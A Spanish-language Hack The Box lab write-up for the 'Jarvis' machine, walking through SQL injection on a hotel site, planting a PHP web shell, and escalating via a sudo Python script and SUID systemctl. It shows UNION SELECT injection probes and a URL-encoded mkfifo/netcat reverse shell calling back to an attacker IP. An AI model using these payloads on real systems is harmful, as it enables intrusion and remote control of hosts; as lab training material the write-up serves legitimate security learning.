Jarvis

Publicado: 21 de Mayo de 2025 Autor: Josรฉ Miguel Romero aKa x3m1Sec Dificultad: โญ Medium

๐Ÿ“ Descripciรณn

Jarvis es una mรกquina Linux de dificultad media en Hack The Box. El objetivo principal es explotar una vulnerabilidad de inyecciรณn SQL en una aplicaciรณn web de un hotel para conseguir acceso inicial como usuario www-data. Posteriormente, se requiere escalar privilegios a travรฉs de un script Python vulnerable para alcanzar el usuario pepper, y finalmente abusar de un binario SUID (systemctl) para obtener acceso como root.

La mรกquina destaca por la implementaciรณn de un sitio web de gestiรณn hotelera con una vulnerabilidad clรกsica de SQLi, un ejemplo interesante de escalada horizontal a travรฉs de un script con filtros imperfectos, y una escalada vertical mediante el abuso de binarios con permisos especiales.

Puntos clave:

  • Explotaciรณn de SQLi para lectura/escritura de archivos

  • Pivotaje entre usuarios aprovechando configuraciones incorrectas de sudo

  • Abuso de binarios SUID para alcanzar privilegios de root

๐Ÿ”ญ Reconocimiento

Ping para verificaciรณn en base a TTL

๐Ÿ’ก Nota: El TTL cercano a 64 sugiere que probablemente sea una mรกquina Linux.

Escaneo de puertos

Enumeraciรณn de servicios


โš ๏ธ Importante: Detectamos durante la fase de enumeraciรณn con nmap que se estรก realizando virtual hosting. Debemos aรฑadir el siguiente vhost a nuestro fichero /etc/hosts

๐ŸŒ Enumeraciรณn Web

64999 HTTP

http://supersecurehotel.htb:64999/

Aparte de este banner, no hay nada interesante.

80 HTTP

http://supersecurehotel.htb

Fuzzing de directorios

Feroxbuster

Dirsearch

Gobuster

Me gusta probar siempre varias herramientas para luego poner en conjunciรณn los resultados. Aquรญ parece que hay un recurso importante a analizar y es /phpmyadmin

http://supersecurehotel.htb/phpmyadmin/

Probamos las credenciales por defecto root:admin sin รฉxito.

Enumeramos la versiรณn gracias al fichero README

http://supersecurehotel.htb/phpmyadmin/README

Tambiรฉn enumeramos un fichero de changelog en el que se indican los cambios que han sido aplicados en cada versiรณn, siendo la 4.8.0 la รบltima:

http://supersecurehotel.htb/phpmyadmin/ChangeLog

Verificamos que la versiรณn 4.8.0 de phpmyadmin podrรญa ser vulnerable a Cross site request forgery:

https://www.exploit-db.com/exploits/44496

Aunque pronto verificamos que no nos sirve.

๐Ÿ’ป Explotaciรณn (SQLi)

Seguimos enumerando el sitio web, no tiene mucho donde rascar excepto en la secciรณn de reserva de habitaciones:

Verificamos si el parรกmetro GET cod podrรญa ser vulnerable a SQLi http://supersecurehotel.htb/room.php?cod=2

Introducimos simplemente una comilla en la peticiรณn y vemos que la respuesta se ve afectada:

http://supersecurehotel.htb/room.php?cod=1'

Realizamos esta peticiรณn cod=1+and+1=1 y observamos que se recupera la informaciรณn de la habitaciรณn, lo cual nos indica que el parรกmetro es vulnerable a inyecciรณn SQL.

El siguiente paso serรก determinar el nรบmero de columnas de la consulta, asรญque vamos probando:

cod=1+union+select+1

cod=1+union+select+1,2

cod=1+union+select+1,2,3

cod=1+union+select+1,2,3,4

cod=1+union+select+1,2,3,4,5

cod=1+union+select+1,2,3,4,5,6

cod=1+union+select+1,2,3,4,5,6,7

cod=1+union+select+1,2,3,4,5,6,7,8

Determinamos que hay 7 columnas porque cuando introducimos 8 ya no recibimos la respuesta correcta.

Ahora realizamos la inyecciรณn para determinar el usuario:

Ahora realizamos la inyecciรณn para determinar el nombre de la base de datos:

Verificamos si podemos leer archivos a travรฉs de esta vulnerabilidad:

![[Writeups/HTB/Road to OSCP/Lainkusanagi OSCP/Jarvis/Pasted image 20250521111537.png]]

Verificamos si podemos subir archivos al sistema

Ahora abrimos la direcciรณn:

http://supersecurehotel.htb/test.txt

Y verificamos que se ha subido correctamente:

![[Writeups/HTB/Road to OSCP/Lainkusanagi OSCP/Jarvis/Pasted image 20250521112126.png]]

Foothold

Con esta informaciรณn, ahora podemos intentar subir una php shell mediante nuestra inyecciรณn sql:

Verificamos la php shell que hemos subido:

http://supersecurehotel.htb/shell.php?cmd=id

Ahora podrรญamos conectarnos a nuestro host usando el siguiente payload

Pero antes debemos codificarlo a URL:

https://www.urlencoder.org/es/

http://supersecurehotel.htb/shell.php?cmd=rm%20%2Ftmp%2Ff%3Bmkfifo%20%2Ftmp%2Ff%3Bcat%20%2Ftmp%2Ff%7C%2Fbin%2Fsh%20-i%202%3E%261%7Cnc%2010.10.14.8%201234%20%3E%2Ftmp%2Ff

Ganamos acceso al host como usuario www-data:

Mejoramos la shell

Intentamos obtener la primera flag pero no tenemos permisos:

Escalando a usuario pepper

Verificamos si hay algรบn usuario que pueda ejecutar algรบn binario o script como sudo:

Intentamos ejecutar este script en python como usuario pepper y vemos las opciones:

Analizando el cรณdigo del script vemos que una de las opciones puede ser interesante, ya que se estรก usando al opciรณn -pf para realizar un ping y estoy hace una llamada a os.system, por lo que si pasamos como comando /bin/bash podremos obtener una shell como pepper:

Probamos el comando ping:

Como vemos que hay algunos caracteres que se estรกn filtrando, vamos a crear un archivo con una reverse shell usando netcat -e para habilitar el reconocimiento de secuencias de escape, como , , etc

Lanzamos ahora el comando y cuando nos pida la IP introducimos de la siguiente forma la ruta a nuestra reverse shell:

![[Writeups/HTB/Road to OSCP/Lainkusanagi OSCP/Jarvis/Pasted image 20250521120419.png]]

Recibimos la reverse shell como usuario pepper y obtenemos la primera flag:

๐Ÿ‘‘ Escalada de privilegios

Verificamos servicios en ejecuciรณn, vemos que hay una base de datos mysql aunque esto ya lo sabรญamos por nuestra enumeraciรณn mediante la inyecciรณn sql:

Encontramos un fichero de conexiรณn a la base de datos con las credenciales en texto claro. Tiene bastante buena pinta porque ya habรญamos onbtenido el usuario DbAdmin y la base de datos hotel durante la inyecciรณn SQL:

Nos conectamos a la base de datos:

No encontramos nada que nos permita escalar privilegios.

Verificamos archivos con SUID:

El de systemctl puede ser interesante

Encontramos informaciรณn en gtfobins sobre como podemos abusar de este binario para escalar privilegios:

https://gtfobins.github.io/gtfobins/systemctl/#suid

Nos movemos al directorio /home/pepper y ejecutamos lo siguiente:

Creamos el enlace al servicio vulnerable:

Esto crearรก un servicio que cuando lo invoquemos ejecutarรก un script que creamos en el directorio /home/pepper que serรก una reverse shell a nuestro host de ataque:

El contenido de shell.sh serรก el siguiente:

Iniciamos un listener en nuestro host de ataque:

Lanzamos el servicio

Obtenemos acceso remoto al host como root y obtenemos la flag:

Last updated